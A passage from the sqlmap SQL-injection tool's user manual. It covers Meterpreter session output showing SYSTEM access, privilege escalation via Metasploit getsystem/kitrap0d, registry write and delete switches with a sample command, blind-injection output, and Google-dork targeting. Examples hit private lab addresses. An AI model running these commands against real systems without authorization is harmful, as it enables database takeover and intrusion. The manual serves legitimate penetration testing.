meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0


meterpreter > exit

[*] Meterpreter session 1 closed.  Reason: User exit
</verb></tscreen>

<p>
By default MySQL on Windows runs as <tt>SYSTEM</tt>, however PostgreSQL
runs as a low-privileged user <tt>postgres</tt> on both Windows and Linux.
Microsoft SQL Server 2000 by default runs as <tt>SYSTEM</tt>, whereas
Microsoft SQL Server 2005 and 2008 run most of the times as <tt>NETWORK
SERVICE</tt> and sometimes as <tt>LOCAL SERVICE</tt>.

<p>
It is possible to provide sqlmap with the <tt>-</tt><tt>-priv-esc</tt>
switch to perform a <bf>database process' user privilege escalation</bf>
via Metasploit's <tt>getsystem</tt> command which include, among others,
the <htmlurl
url="http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html"
name="kitrap0d"> technique (<htmlurl
url="http://www.microsoft.com/technet/security/bulletin/ms10-015.mspx"
name="MS10-015">).


<sect1>Windows registry access

<p>
It is possible to access Windows registry when the back-end database
management system is either MySQL, PostgreSQL or Microsoft SQL Server,
and when the web application supports stacked queries. Also, session user
has to have the needed privileges to access it.

<sect2>Read a Windows registry key value

<p>
Switch: <tt>-</tt><tt>-reg-read</tt>

<p>
Using this option you can read registry key values.

<sect2>Write a Windows registry key value

<p>
Switch: <tt>-</tt><tt>-reg-add</tt>

<p>
Using this option you can write registry key values.

<sect2>Delete a Windows registry key

<p>
Switch: <tt>-</tt><tt>-reg-del</tt>

<p>
Using this option you can delete registry keys.

<sect2>Auxiliary registry switches

<p>
Switches: <tt>-</tt><tt>-reg-key</tt>, <tt>-</tt><tt>-reg-value</tt>,
<tt>-</tt><tt>-reg-data</tt> and <tt>-</tt><tt>-reg-type</tt>

<p>
These switches can be used to provide data needed for proper running of
options <tt>-</tt><tt>-reg-read</tt>, <tt>-</tt><tt>-reg-add</tt> and 
<tt>-</tt><tt>-reg-del</tt>. So, instead of providing registry key
information when asked, you can use them at command prompt as program
arguments.

<p>
With <tt>-</tt><tt>-reg-key</tt> option you specify used Windows registry
key path, with <tt>-</tt><tt>-reg-value</tt> value item name inside
provided key, with <tt>-</tt><tt>-reg-data</tt> value data, while with
<tt>-</tt><tt>-reg-type</tt> option you specify type of the value item.

<p>
A sample command line for adding a registry key hive follows:

<tscreen><verb>
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \ 
  --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
</verb></tscreen>


<sect1>General


<sect2>Log HTTP(s) traffic to a textual file

<p>
Switch: <tt>-t</tt>

<p>
This switch requires an argument that specified the textual file to write
all HTTP(s) traffic generated by sqlmap - HTTP(s) requests and HTTP(s)
responses.

<p>
This is useful primarily for debug purposes.


<sect2>Session file: save and resume data retrieved

<p>
Switch: <tt>-s</tt>

<p>
By default sqlmap logs all queries and their output into a textual file
called <em>session file</em>, regardless of the technique used to extract
the data.
This is useful if you stop the injection for any reason and rerun it
afterwards: sqlmap will parse the session file and resume enumerated data
from it, then carry on extracting data from the exact point where it left
before you stopped the tool.

<p>
The default session file is <tt>output/TARGET_URL/session</tt>, but you
can specify a different file path with <tt>-s</tt> switch.

<p>
The session file has the following structure:

<tscreen><verb>
[hh:mm:ss MM/DD/YY]
[Target URL][Injection point][Parameters][Query or information name][Query output or value]
</verb></tscreen>

<p>
A more user friendly textual file where all data retrieved is saved, is
the <em>log file</em>, <tt>output/TARGET_URL/log</tt>. This file can be
useful to see all information enumerated to the end.


<sect2>Flush session file
    
<p>
Switch: <tt>-</tt><tt>-flush-session</tt>

<p>
As you are already familiar with the concept of a session file from the
description above, it is good to know that you can flush the content of
that file using option <tt>-</tt><tt>-flush-session</tt>.
This way you can avoid the caching mechanisms implemented by default in
sqlmap. Other possible way is to manually remove the session file(s).


<sect2>Ignores query results stored in session file
    
<p>
Switch: <tt>-</tt><tt>-fresh-queries</tt>

<p>
As you are already familiar with the concept of a session file from the
description above, it is good to know that you can ignore the content of
that file using option <tt>-</tt><tt>-fresh-queries</tt>.
This way you can keep the session file untouched and for a selected run,
avoid the resuming/restoring of queries output.


<sect2>Estimated time of arrival

<p>
Switch: <tt>-</tt><tt>-eta</tt>

<p>
It is possible to calculate and show in real time the estimated time of
arrival to retrieve each query output. This is shown when the technique
used to retrieve the output is any of the blind SQL injection types.

<p>
Example against an Oracle target affected only by boolean-based blind SQL
injection:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                          ] 11/64  ETA 00:19
</verb></tscreen>

<p>
Then:

<tscreen><verb>
100% [===================================================] 64/64               
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
</verb></tscreen>

<p>
As you can see, sqlmap first calculates the length of the query output,
then estimates the time of arrival, shows the progress in percentage and
counts the number of retrieved output characters.


<sect2>Update sqlmap

<p>
Switch: <tt>-</tt><tt>-update</tt>

<p>
Using this option you can update the tool to the latest development
version directly from the subversion repository. You obviously need
Internet access.

<p>
If, for any reason, this operation fails, run <tt>svn update</tt> from
your sqlmap working copy. It will perform the exact same operation of
switch <tt>-</tt><tt>-update</tt>.
If you are running sqlmap on Windows, you can use the TartoiseSVN client
by right-clicking in Windows Explorer into your sqlmap working copy and
clicking on <tt>Update</tt>.

<p>
This is strongly recommended <bf>before</bf> reporting any bug to the
<htmlurl name="mailing lists" url="http://www.sqlmap.org/#ml">.


<sect2>Save options in a configuration INI file

<p>
Switch: <tt>-</tt><tt>-save</tt>

<p>
It is possible to save the command line options to a configuration INI
file.
The generated file can then be edited and passed to sqlmap with the
<tt>-c</tt> option as explained above.


<sect2>Act in non-interactive mode

<p>
Switch: <tt>-</tt><tt>-batch</tt>

<p>
If you want sqlmap to run as a batch tool, without any user's interaction 
when sqlmap requires it, you can force that by using
<tt>-</tt><tt>-batch</tt> switch. This will leave sqlmap to go with a
default behaviour whenever user's input would be required.


<sect1>Miscellaneous

<sect2>Alert when a SQL injection is detected

<p>
Switch: <tt>-</tt><tt>-beep</tt>

<p>
When this switch is provided, sqlmap will beep at every new SQL injection
that it finds. It can be useful when you are processing in batch mode a
Google dork output or a proxy log file so that you do not need to monitor
the terminal constantly.


<sect2>IDS detection testing of injection payloads

<p>
Switch: <tt>-</tt><tt>-check-payload</tt>

<p>
Curious to see if a <htmlurl url="http://www.phpids.org"
name="decent intrusion detection system"> (IDS) picks up sqlmap payloads?
Use this switch!


<sect2>Cleanup the DBMS from sqlmap specific UDF(s) and table(s)

<p>
Switch: <tt>-</tt><tt>-cleanup</tt>

<p>
It is recommended to clean up the back-end database management system from
sqlmap temporary table(s) and created user-defined function(s) when you
are done taking over the underlying operating system or file system.
Switch <tt>-</tt><tt>-cleanup</tt> will attempt to clean up the DBMS and
the file system wherever possible.


<sect2>Parse and test forms' input fields

<p>
Switch: <tt>-</tt><tt>-forms</tt>

<p>
Say that you want to test against SQL injections a huge <em>search form</em>
or you want to test a login bypass (typically only two input fields named
like <em>username</em> and <em>password</em>), you can either pass to sqlmap
the request in a request file (<tt>-r</tt>), set the POSTed data
accordingly (<tt>-</tt><tt>-data</tt>) or let sqlmap do it for you!

<p>
Both of the above mentioned instances, and many others, appear as
<tt>&lt;form&gt;</tt> and <tt>&lt;input&gt;</tt> tags in HTML response
bodies and this is where this switch comes into play.

<p>
Provide sqlmap with <tt>-</tt><tt>-forms</tt> as well as the page where
the form can be found as the target url (<tt>-u</tt>) and sqlmap will
request the target url for you, parse the forms it has and guide you
through to test for SQL injection on those form input fields (parameters)
rather than the target url provided.


<sect2>Use Google dork results from specified page number

<p>
Switch: <tt>-</tt><tt>-gpage</tt>

<p>
Default sqlmap behavior with option <tt>-g</tt> is to do a Google
search and use the first 100 resulting URLs for further SQL injection
testing. However, in combination with this option you can specify with
this switch, <tt>-</tt><tt>-gpage</tt>, some page other than the first one
to retrieve target URLs from.


<sect2>Imitate smartphone

<p>
Switch: <tt>-</tt><tt>-mobile</tt>

<p>
TODO


<sect2>Display page rank (PR) for Google dork results

<p>
Switch: <tt>-</tt><tt>-page-rank</tt>

<p>
Performs further requests to Google when <tt>-g</tt> is provided and
display page rank (PR) for Google dork results.


<sect2>Parse DBMS error messages from response pages

<p>
Switch: <tt>-</tt><tt>-parse-errors</tt>

<p>
If the web application is configured in debug mode so that it displays
in the HTTP responses the back-end database management system error
messages, sqlmap can parse and display them for you.

This is useful for debugging purposes like understanding why a certain
enumeration or takeover switch does not work - it might be a matter of
session user's privileges and in this case you would see a DBMS error
message along the lines of <tt>Access denied for user &lt;SESSION
USER&gt;</tt>.


<sect2>Replicate dumped data into a sqlite3 database

<p>
Switch: <tt>-</tt><tt>-replicate</tt>

<p>
If you want to store in a local SQLite 3 database file each dumped table
(<tt>-</tt><tt>-dump</tt> or <tt>-</tt><tt>-dump-all</tt>), you can
provide sqlmap with the <tt>-</tt><tt>-replicate</tt> switch at dump
phase. This will create a <tt>&lt;TABLE_NAME&gt;.sqlite3</tt> rather than
a <tt>&lt;DB_NAME&gt;/&lt;TABLE_NAME&gt;.csv</tt> file into
<tt>output/TARGET_URL/dump/</tt> directory.

<p>
You can then use sqlmap itself to read and query the locally created
SQLite 3 file. For instance, <tt>python sqlmap.py -d
sqlite:///software/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 --table</tt>.


<sect2>Simple wizard interface for beginner users

<p>
Switch: <tt>-</tt><tt>-wizard</tt>

<p>
Do you really want to know?


<sect>License and copyright

<p>
sqlmap is released under the terms of the
<htmlurl url="http://www.gnu.org/licenses/old-licenses/gpl-2.0.html" name="General Public License v2">.
sqlmap is copyrighted by its <htmlurl url="http://www.sqlmap.org/#developers" name="developers">.


<sect>Disclaimer

<p>
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.

<p>
Whatever you do with this tool is uniquely your responsibility. If you are
not authorized to punch holes in the network you are attacking be aware
that such action might get you in trouble with a lot of law enforcement
agencies.


<sect>Authors

<p>
<htmlurl url="mailto:bernardo@sqlmap.org" name="Bernardo Damele A. G."> (inquis) - Lead developer.
PGP Key ID: Unavailable

<htmlurl url="mailto:miroslav@sqlmap.org" name="Miroslav Stampar"> (stamparm) - Developer.
PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&amp;search=0xB5397B1B" name="0xB5397B1B">

</article>